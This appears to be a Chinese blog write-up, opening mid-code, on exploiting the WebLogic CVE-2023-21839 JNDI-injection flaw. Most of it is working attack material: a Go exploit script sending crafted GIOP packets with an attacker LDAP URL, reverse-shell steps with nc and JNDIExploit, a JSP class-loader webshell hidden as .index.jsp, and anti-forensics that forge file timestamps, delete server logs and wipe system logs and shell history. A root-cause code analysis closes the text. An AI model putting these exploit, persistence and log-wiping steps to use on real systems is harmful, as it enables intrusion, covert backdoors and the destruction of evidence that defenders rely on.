"412f57537472696e6756616c75653a312e300000000000" + ldap),
}

giop.Log(3, "RebindRequest")
_, _ = conn.Write(rebindAny.Bytes())
buf = make([]byte, 1024*10)
_, _ = conn.Read(buf)

startOff := 0x64 + lt + 0xc0 + len(host) + // SendingContextRuntime
0xac + lt + // IOR ProfileHost ProfilePort
0x5d // ObjectKey Prefix
for buf[startOff] != 0x32 {
if startOff > 0x2710 {
break
}
// InternalKey Offset
startOff++
}

if startOff > 0x2710 {
key3 = giop.E([]byte{0x32, 0x38, 0x39, 0x00})
} else {
key3 = giop.E(buf[startOff : startOff+4])
}

wlsKey2 = strings.ReplaceAll(wlsKey2, "{{key3}}", key3)
wlsKey2 = strings.ReplaceAll(wlsKey2, "{{key1}}", key1)

rebindAnyTwice := &giop.RebindRequest{
Header: &giop.Header{
Magic: giop.D(giop.GIOP),
MajorVersion: []byte{giop.MajorVersion},
MinorVersion: []byte{giop.MinorVersion},
MessageFlags: []byte{giop.BigEndianType},
MessageType: []byte{giop.RequestType},
},
RequestId: giop.Int32(4),
ResponseFlags: []byte{giop.WithTargetScope},
TargetAddress: giop.D(giop.KeyAddr),
KeyAddress: giop.D(wlsKey2),
RequestOperation: giop.D(giop.RebindAnyOp),
ServiceContextList: &giop.ServiceContextList{
SequenceLength: giop.Int32(4),
ServiceContext: []*giop.ServiceContext{
ServiceContext0,
ServiceContext1,
{
VSCID: giop.D("424541"),
SCID: giop.D("03"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("00000000000000" + key2 + "00000000"),
},
ServiceContext2,
},
},
StubData: giop.D("00000001000000047465737400000001000000000000001d0000001c00000000000000010" +
"0000000000000010000000000000000000000007fffff0200000054524d493a7765626c6f6769632e6a6e64692e69" +
"6e7465726e616c2e466f726569676e4f70617175655265666572656e63653a4432333744393143423246304636384" +
"13a3344323135323746454435393645463100000000007fffff020000002349444c3a6f6d672e6f72672f434f5242" +
"412f57537472696e6756616c75653a312e300000000000" + ldap),
}

giop.Log(4, "RebindRequest")
_, _ = conn.Write(rebindAnyTwice.Bytes())
buf = make([]byte, 1024*10)
_, _ = conn.Read(buf)

locateRequest2 := &giop.LocateRequest{
Header: &giop.Header{
Magic: giop.D(giop.GIOP),
MajorVersion: []byte{giop.MajorVersion},
MinorVersion: []byte{giop.MinorVersion},
MessageFlags: []byte{giop.BigEndianType},
MessageType: []byte{giop.LocateRequestType},
},
RequestId: giop.Int32(5),
TargetAddress: giop.D(giop.KeyAddr),
KeyAddress: giop.D(giop.NameService),
}

giop.Log(5, "LocateRequest")
_, _ = conn.Write(locateRequest2.Bytes())
buf = make([]byte, 1024*10)
_, _ = conn.Read(buf)

resolve := &giop.ResolveRequest{
Header: &giop.Header{
Magic: giop.D(giop.GIOP),
MajorVersion: []byte{giop.MajorVersion},
MinorVersion: []byte{giop.MinorVersion},
MessageFlags: []byte{giop.BigEndianType},
MessageType: []byte{giop.RequestType},
},
RequestId: giop.Int32(6),
ResponseFlags: []byte{giop.WithTargetScope},
TargetAddress: giop.D(giop.KeyAddr),
KeyAddress: giop.D(wlsKey1),
RequestOperation: giop.D(giop.ResolveOp),
ServiceContextList: &giop.ServiceContextList{
SequenceLength: giop.Int32(4),
ServiceContext: []*giop.ServiceContext{
ServiceContext0,
ServiceContext1,
{
VSCID: giop.D("424541"),
SCID: giop.D("03"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("00000000000000" + key2 + "00000000"),
},
ServiceContext2,
},
},
CosNamingDissector: giop.D("00000000000000010000000574657374000000000000000100"),
}
giop.Log(6, "ResolveRequest")
_, _ = conn.Write(resolve.Bytes())
buf = make([]byte, 1024*10)
_, _ = conn.Read(buf)

resolveTwice := &giop.ResolveRequest{
Header: &giop.Header{
Magic: giop.D(giop.GIOP),
MajorVersion: []byte{giop.MajorVersion},
MinorVersion: []byte{giop.MinorVersion},
MessageFlags: []byte{giop.BigEndianType},
MessageType: []byte{giop.RequestType},
},
RequestId: giop.Int32(7),
ResponseFlags: []byte{giop.WithTargetScope},
TargetAddress: giop.D(giop.KeyAddr),
KeyAddress: giop.D(wlsKey2),
RequestOperation: giop.D(giop.ResolveOp),
ServiceContextList: &giop.ServiceContextList{
SequenceLength: giop.Int32(4),
ServiceContext: []*giop.ServiceContext{
ServiceContext0,
ServiceContext1,
{
VSCID: giop.D("424541"),
SCID: giop.D("03"),
Endianness: []byte{giop.BigEndianType},
Data: giop.D("00000000000000" + key2 + "00000000"),
},
ServiceContext2,
},
},
CosNamingDissector: giop.D("00000000000000010000000574657374000000000000000100"),
}
giop.Log(7, "ResolveRequest")
_, _ = conn.Write(resolveTwice.Bytes())
buf = make([]byte, 1024*10)
_, _ = conn.Read(buf)

err = conn.Close()
if err != nil {
fmt.Println(err)
}
}

开始看到这个脚本让我非常困惑,其中最多的就是奇奇怪怪的数字,后面问了问chatgpt才知道

1
CosNamingDissector: giop.D("00000000000000010000000574657374000000000000000100")

它表示一个GIOP(General Inter-ORB Protocol)消息的二进制编码。GIOP是CORBA(Common Object Request Broker Architecture)规范中定义的一种通信协议,用于在分布式对象系统中进行通信。

具体来说,这个字节数组表示一个GIOP消息的头部,包括以下信息:

  • 00000000 00000001:GIOP版本号,这里表示版本1.0
  • 00000000 00000101:GIOP消息标志,这里表示请求消息
  • 74657374:GIOP消息类型,这里表示一个字符串消息
  • 00000000 00000001:请求消息的标识符,这里为1

该go脚本流程大致为

  1. 解析命令行参数(IP地址、端口、LDAP字符串)
  2. 获取Weblogic版本号
  3. 根据Weblogic版本号设置密钥
  4. 连接到Weblogic服务器
  5. 设置ServiceContext
  6. 构造恶意数据包
  7. 发送恶意数据包
  8. 关闭连接

代码中的 import 语句引用了四个不同的包:

CVE-2023-21839
encoding/binary
encoding/hex
flag
fmt
net
strings
其中, flag 用于解析命令行参数。 net 用于处理网络连接。 strings 用于字符串处理。encoding/hex 用于十六进制编码/解码,encoding/binary 用于处理二进制数据。

main() 函数开始时解析命令行参数并打印相应的提示信息。然后调用 giop.GetVersion() 函数检测 WebLogic 服务器的版本。分析完版本后然后根据 WebLogic 版本选择不同的攻击方式,分别设置变量 wlsKey1wlsKey2,最后使用 net.Dial() 函数建立与 WebLogic 服务器的连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package giop

import (
"encoding/binary"
"encoding/hex"
)

func D(str string) []byte {
data, _ := hex.DecodeString(str)
return data
}

func E(b []byte) string {
return hex.EncodeToString(b)
}

func Int32(i int) []byte {
b := make([]byte, 4)
binary.BigEndian.PutUint32(b, uint32(i))
return b
}

由于该漏洞的影响范围为Weblogic 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0,所以该代码先进行了网站weblogic版本检测,如果不是12或14版本则进行测试,否则结束

WebLogic Server使用WLS Key来加密和解密敏感数据,例如密码和证书私钥

WLS Key是由WebLogic Server生成并管理的,它不是由管理员手动设置的,也不是系统默认的。在WebLogic Server启动时,它会自动生成一个WLS Key,并使用该密钥来加密和解密存储在WebLogic Server中的敏感数据,例如密码和证书私钥。

WebLogic Server生成的WLS Key是每个实例唯一的,每个实例都有自己的WLS Key。这是因为WLS Key是通过使用特定于WebLogic Server实例的信息生成的

所以在下面的代码中wls作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ver == "12" {
fmt.Println("[*] weblogic 12")
wlsKey1 = "00424541080103000000000c41646d696e53657276657200000000000000003349" +
"444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" +
"6f6e74657874416e793a312e3000000000000238000000000000014245412c0000001000" +
"00000000000000{{key1}}"
wlsKey2 = "00424541080103000000000c41646d696e53657276657200000000000000003349" +
"444c3a7765626c6f6769632f636f7262612f636f732f6e616d696e672f4e616d696e6743" +
"6f6e74657874416e793a312e30000000000004{{key3}}000000014245412c0000001000" +
"00000000000000{{key1}}"
} else if ver == "14" {
fmt.Println("[*] weblogic 14")
wlsKey1 = "00424541080103000000000c41646" +
"d696e53657276657200000000000000003349444c3a7765626c" +
"6f6769632f636f7262612f636f732f6e616d696e672f4e616d6" +
"96e67436f6e74657874416e793a312e30000000000002380000" +
"00000000014245412e000000100000000000000000{{key1}}"
wlsKey2 = "00424541080103000000000c41646d696e53657276657" +
"200000000000000003349444c3a7765626c6f6769632f636f72" +
"62612f636f732f6e616d696e672f4e616d696e67436f6e74657" +
"874416e793a312e30000000000004{{key3}}00000001424541" +
"2e000000100000000000000000{{key1}}"
} else {
fmt.Println("[!] error and exit")
}

这个go脚本的使用很简单,先在攻击机1369端口打开ldap

先进行编译

1
go build main.go -o web.exe

然后攻击机上打开1369端口,挂上ldap

image-20230302000014731

最后简单跑个计算器(测试时间:2023/3/1,火绒未检测到,但是弹cmd还是会被警告的)

image-20230302000455096

image-20230302000412160

公网测试

太穷了,没有第二台电脑,在aliyun上搞了个weblogic,看看是否检测的到吗

这是公网环境下的

image-20230302001529947

然后一样的测试如上,会被windows defender检测到,但是不会拦截,还是会一样执行命令

和朋友借了一下服务器测试,确实是可以实现公网测试的,而且windows defender并未拦截(公网测试时间:2023/3/2)

image-20230302210930469

Linux

环境搭建

从官网下载Weblogic 12.2.1.3.0

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

image-20230226141556869

配置java环境

但是需要注意,由于Weblogic中的maven的存在,其识别jdk时,只针对环境变量名JAVA_HOME的路径进行识别,而如果是在PATH中配置的,会报错找不到java环境的位置

1
ERROR: Cannot determine the Java Home ERROR: Specify the -jreLoc option

然后再次管理员执行时发现失败,查看报错日志

java.lang.NullPointerException: Cannot invoke “java.lang.reflect.Method.invoke(Object, Object[])” because “com.sun.xml.bind.v2.runtime.reflect.opt.Injector.defineClass” is null[[

猜测应该是我的java自身的问题

stack中了解到了,在java9的时候,JAXB(Java Architecture for XML Binding)[java映射为xml的表示方式]

java9已经被标记为弃用,在java11的时候已经被删除,所以需要换到低版本的java或者在依赖项添加xml库,让其重新映射

New APIs in Java 11 - javaalmanac.io

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.sun.xml.bind</groupId>
<artifactId>jaxb-impl</artifactId>
<version>2.3.1</version>
</dependency>
<dependency>
<groupId>com.sun.xml.messaging.saaj</groupId>
<artifactId>saaj-impl</artifactId>
<version>1.5.1</version>
</dependency>

【建议下载jdk8低版本最方便,记得再次修改JAVA_HOME环境变量】

注意,这个和log4j的原因一样,是加载远程恶意类导致远程命令的执行,所以对java是否开启加载远程类,也就是要注意对应的版本

版本 ≤ JDK 6u211、7u201、 8u191、11.0.1

所以这里直接下载JDK-8u171

https://www.oracle.com/hk/java/technologies/javase/javase8-archive-downloads.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/local/jdk/

#部署并修改环境变量
sudo vi ~/.bashrc

#在文件末尾追加下面4行内容
#这里要注意目录要换成自己解压的jdk目录
export JAVA_HOME=/usr/local/jdk/jdk1.8.0_171
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

#执行命令使得上面的环境变量成功
source ~/.bashrc
sudo update-alternatives --install /usr/bin/java java /usr/local/jdk/jdk1.8.0_171/bin/java 300
查看版本
1
java -version

2

安装weblogic

1
java -jar fmw_12.2.1.3.0_wls.jar 

1

安装目录名和weblogic所在用户组默认

4

安装中

5

6

用户名默认weblogic

密码为123456789

7

8

安装完成后,启动服务

找到/bin启动服务脚本

1
find / -name 'startWebLogic.sh' 2>/dev/null

image-20231130123224439

执行脚本

1
bash /home/ttoc/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/bin/startWebLogic.sh 

image-20231130123350919

成功访问

image-20231130123511391

漏洞存在性测试

针对这种 T3 及 IIOP出现的漏洞,和log4j2一样,采用dnslog测试

1
.\CVE-2023-21839.exe -ip 192.168.169.157 -port 7001 -ldap ldap://nuu4hz.dnslog.cn

dnslog测试

发现有请求,说明可能存在漏洞

dnslog

反弹shell

靶机ubuntu20.04:192.168.169.157

攻击机kali 2023.2:192.168.169.130

攻击机开启监听,准备反弹shell

1
nc -lvp 8888

image-20231130225927419

然后使用JNDIExploit-1.3-SNAPSHOT.jar搭建ldap服务器

image-20231130231729924

用go工具向靶机weblogic服务发送反弹shell的命令

image-20231130224424739

但是执行后仍然遇到一点点问题,攻击机的JNDIExploit-1.3-SNAPSHOT.jar报错

image-20231130223814313

错误java.lang.IllegalAccessError: superclass access check failed通常发生在一个类试图访问另一个类中的某些元素,但是由于Java的访问控制,这个操作被禁止了。

在这种的情况下,com.feihong.ldap.template.TomcatEchoTemplate类试图访问com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类,但是由于模块java.xml并没有将com.sun.org.apache.xalan.internal.xsltc.runtime导出给com.feihong.ldap.template.TomcatEchoTemplate所在的模块,所以访问失败了。

这个问题可能是由于Java的模块化系统引入的。

从Java 9开始,Java引入了模块系统,允许将类和接口组织到不同的模块中,并且可以控制模块之间的访问。

解决这个问题的一种方法是使用--add-exports选项来打开模块的访问权限。

所以只用修改一下命令即可命令:

1
java --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.169.130

这个命令会将java.xml模块中的com.sun.org.apache.xalan.internal.xsltc.runtime包导出给所有未命名的模块。

再次执行,成功

image-20231130231601753

查看监听端口获取shell状态,成功获得靶机ubuntu的shell

image-20231130233109406

权限维持

反弹获取的shell存在很多问题,由于是通过nc监听获取的一次会话,如果nc被退出,获取的shell也会跟着丢失,

所以需要将获取的shell从nc监听会话,转为正式的一个终端会话。

先ctrl z讲nc获取的shell会话置于后台运行,然后执行命令,

先重置stty,也就意味着你看不到输入的内容

1
stty raw -echo  

然后把后台挂起的nc获取的shell会话调回前台,

1
fg  

最后再次完全刷新终端屏幕,

1
reset  

也可以合起来,

1
stty raw -echo;fg;reset

image-20231130233218761

但是会发现虽然shell稳定了,但是显示错位了,这是stty的原因,当然也有部分kali和ubuntu之间终端显示底层的差异导致,可以用python自带的交互式shell处理,使得会话显示规整

直接启动python式交互

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20231130233600459

可以看到调用后格式更规整,并且该交互shell还直接使用当前终端的高亮显示,也方便分清文件类型。

由于weblogic服务需要比较高的权限用户执行启动,所以反弹shell获取的会话权限也会很高,所以如果没有对执行weblogic服务器启动的用户自身的权限进行限制,就会十分危险。

但是为了维持权限稳定,可以写一个jsp一句话木马上去

根据官方文档,weblogic服务器的网站文件以及目录都在这个目录下

1
/home/ttoc/Oracle/Middleware/Oracle_Home/wlserver/server/lib/consoleapp/webapp

查看这个目录下的状况,

1
ll

image-20231130235701569

只需要找到一个web端可以非登录直接访问目录下文件的目录,写一个不死马,即可实现后门目的以来维持权限。

查看网页源码,发现/console/css可以在非登录状态下访问,并且该目录拥有执行权限,当然如果没有也可以凭借当前的root身份shell权限进行赋权,

image-20231130235335497

然后在css目录下创建一个jsp一句话木马文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}

public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

再给1.jsp赋权

1
chmod 777 ./1.jsp

image-20231201110707134

然后蚁剑尝试连接靶机的这个文件

image-20231201000810938

访问发现连接成功,

image-20231201001110687

但是直接在当前服务端生成一个文件太容易被检测到,所以最好的办法就是将jsp一句话木马写入已有的jsp文件中,

先找一下当前目录的jsp文件

1
find / -name "*.jsp" 2> /dev/null

image-20231201111621945

很快就会发现最后一个文件,

1
/home/ttoc/Oracle/Middleware/Oracle_Home/wlserver/server/lib/consoleapp/consolehelp/index.jsp

做为index.jsp肯定可以被直接访问,而且在consolehelp路由下,所以是不需要登录访问的,于是将1.jsp内容附加到index.jsp的后面,然后删除1.jsp

先移动1.jsp到index.jsp所在目录

1
mv 1.jsp  /home/ttoc/Oracle/Middleware/Oracle_Home/wlserver/server/lib/consoleapp/consolehelp/

image-20231201112427314

然后将内容追加到index.jsp中

image-20231201112511153

然后删掉1.jsp并为index.jsp赋执行权限

image-20231201113317976

但是访问index.jsp文件时,发现并没有变化,哪怕删掉也依旧正常访问,这是因为weblogic有两种模式,一种是开发者模式,一种是生产模式,默认是生产模式,该模式下,修改的文件不会被部署到服务器上,它有自己的一个部署目录,而生产模式才会将修改文件重新部署,所以于是我换了个思路。

只是为了防止管理员发现而已生成文件,那我们可以生成一个隐藏文件 .index.jsp,虽然生产模式不会部署修改文件,但是新建文件还是会进行部署,于是再生成一个.index.jsp文件并写入jsp一句话木马,并index.jsp就恢复原来代码以及权限状态。

image-20231201115947536

1
chmod 640 index.jsp

image-20231201120655450

再次尝试蚁剑连接,

image-20231201120113628

连接成功,并且可以正常访问

image-20231201120153540

痕迹清理

由于我们执行了大量命令,并且生成和修改了部分目录和文件,所以当管理员进行检测服务器最近更新情况就会很快发现该文件,所以需要删除命令执行日志,并修改文件,目录生成和修改时间和其他一样

修改时间

先修改.index.jsp所在目录下的,

image-20231201120819297

发现主要就三个部分,当前目录修改时间,index.jsp和.index.jsp的修改时间,

痕迹清除最好和其他同属性文件时间一致,可以看到文件最后一次修改时间统一为

Nov 23 2016

而目录修改时间统一为

Nov 27 04:51

于是执行命令

1
touch -t 201611230000 index.jsp .index.jsp

image-20231201121316063

1
touch -t 11270451 ./

image-20231201121529910

最后整体目录就正常了,时间也都正常了

image-20231201121609229

然后是开始尝试的css目录

image-20231201121742343

时间一致,所以命令修改一下即可

1
touch -t 11270451 css

image-20231201121843879

删除weblogic服务日志

1
/home/ttoc/Oracle/Middleware/Oracle_Home/user_projects/domains/base_domain/servers/AdminServer/logs

image-20231201124945937

主要是一些服务启动日志和访问情况日志,可以直接都删除,除了文件夹可以保留

1
rm *

image-20231201125234934

然后将日志目录修改时间改一下,和其他一致

image-20231201125315971

执行命令,

1
touch -t 11292033 ./

image-20231201125405018

删除系统日志

文件时间修改完了就是删除命令历史记录以及日志文件,

1
2
3
4
histroy -r          #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录

再使用vim打开,执行下面命令,

1
:set history=0

然后再删除日志文件

1
2
3
4
5
6
7
8
9
10
11
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息

最后汇总可以一个脚本解决问题,只是vim需要自己操作一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/.bash_history
history -c

首先来到用户目录~,

image-20231201122459733

生成清除痕迹脚本文件,

image-20231201124049869

然后赋执行权限,

1
chmod 777 clear.sh

image-20231201124410575

然后清空vim记录,

1
:set history=0

image-20231201123307378

最后删掉.viminfo ,其中有大量当前用户执行的用vim生成的文档日志

image-20231201123614967

1
rm .viminfo

最后再次执行脚本清空系统日志和命令执行历史,因为是weblogic服务,所以没有用httpd,所以没有日志。

1
./clear.sh

image-20231201122754841

image-20231201125647334

最后一步删除clear.sh,再修改时间,即可

1
rm clear.sh;touch -t 11270436 ./ 

image-20231201125831451

痕迹清理完成,渗透完毕

附加用java工具

在java17环境下运行脚本发生问题,

image-20231201213653846

这个错误是由于Java 9中已经弃用了java.corba模块(例如,org.omg.CORBA*包),而在Java 11中,该模块已经不再可用。弃用模块意味着默认情况下,模块中的类在类路径中不可用。

对于Java 9和10,你需要在命令行中包含--add-module java.corba选项以将它们添加到类路径。但是,这个选项在Java 11中不可用。

所以对于Java 11以及之后的版本,需要从在线资源中下载GlassFish CORBA JAR文件,并将它们添加到Java 11的类路径,

  • glassfish-corba-omgapi.jar
  • glassfish-corba-orb.jar
  • glassfish-corba-internal-api.jar
  • pfl-basic.jar
  • pfl-tf.jar

当然最简单的就是切换工具所在java环境降低版本,于是我将主机的java环境降低为jdk1.8.0_171

image-20231201213957613

就可以成功执行,并成功反弹shell

image-20231201214138728

image-20231201214155986

漏洞原理分析

该漏洞的形成由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

而t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。

t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。

所以其本质还是jndi注入,控制lookup函数的参数,这样来使客户端访问恶意的RMI或者LDAP服务来加载恶意的对象,从而执行代码。在JNDI服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用Reference类实现的。Reference类表示对存在于命名/目录系统以外的对象的引用。具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。

漏洞点代码分析

该漏洞的形成主要原因是ForeignOpaqueReference类的问题于是查看这个类代码跟进分析,打开com.oracle.weblogic.deployment.jar包查看,

image-20231204203947464

ForeignOpaqueReference类的getReferent()方法是造成这个漏洞的主要原因,该方法是OpaqueReference接口的实现方法,在getReferent()方法中,retVal = context.lookup(this.remoteJNDIName); 对本类remoteJNDIName变量中的JNDI地址进行远程加载,导致了反序列化漏洞。

但是实际上,反序列化过程中没有进行恶意操作,在完成反序列化过程后执行了漏洞类ForeignOpaqueReferencegetReferent()方法中的lookup()才触发的漏洞。

分析该方法代码,

image-20231204203928772

发现在该方法中利用了lookup方法,但是发现其对remoteJNDIName用方法evalMarocs进行了过滤,所以这里很有可能就是漏洞点限制方法不完全导致这里可以进行jndi注入。

再查找何处调用了getReferent方法,如何向这个方法传参,可以先看看remoteJNDINamejndiEnvironment参数的定义和传递,这两个参数都是ForeignOpaqueReference类定义的私有变量。

image-20231204203913643

这两个变量的主要作用是在进行lookup操作之前,用于检查 JNDI 环境是否已正确配置以访问远程资源。

继续分析图16中代码,发现其中只需要让一个条件为真,即可调用retVal = context.lookup(evalMacros(this.remoteJNDIName)),而所有条件为假才会开始检测cachedReferent

分析条件语句,if (this.jndiEnvironment == null || !AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial")) || this.remoteJNDIName == null || !this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX)),如果要条件为真只有以下几种情况:

  • 条件1 (this.jndiEnvironment == null): 检查 jndiEnvironment 是否为 null。如果 jndiEnvironmentnull,条件为真。

  • 条件2 (!AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial"))): 检查 jndiEnvironment 中的 “java.naming.factory.initial“ 属性是否不等于预定义的值 AQJMS_ICF。如果不等于,条件为真。

  • 条件3 (this.remoteJNDIName == null): 检查 remoteJNDIName 是否为 null。如果 remoteJNDIName 为 null,条件为真。

  • 条件4 (!this.remoteJNDIName.startsWith(AQJMS_QPREFIX)): 检查 remoteJNDIName 是否不以预定义的值 AQJMS_QPREFIX 开头。如果不以该前缀开头,条件为真。

  • 条件5 (!this.remoteJNDIName.startsWith(AQJMS_TPREFIX)): 检查 remoteJNDIName 是否不以预定义的值 AQJMS_TPREFIX 开头。如果不以该前缀开头,条件为真。

开始本来想让jndiEnvironment直接为空,这样条件语句就成立了, 但是却无法对InitialContext进行赋值初始化,而remoteJNDIName为空也不可以,因为它是JNDI注入的关键参数。所以只要!AQJMS_ICF.equals(this.jndiEnvironment.get("java.naming.factory.initial"))或者!this.remoteJNDIName.startsWith(AQJMS_QPREFIX) && !this.remoteJNDIName.startsWith(AQJMS_TPREFIX))满足即可。

a

jndiEnvironmentremoteJNDIName的值都可以通过反射赋值控制,再通过retVal = context.lookup(evalMacros(this.remoteJNDIName))执行,便可以利用rmi/ldap远程协议进行命令执行。

CVE-2022-39197 Cobaltstrike RCE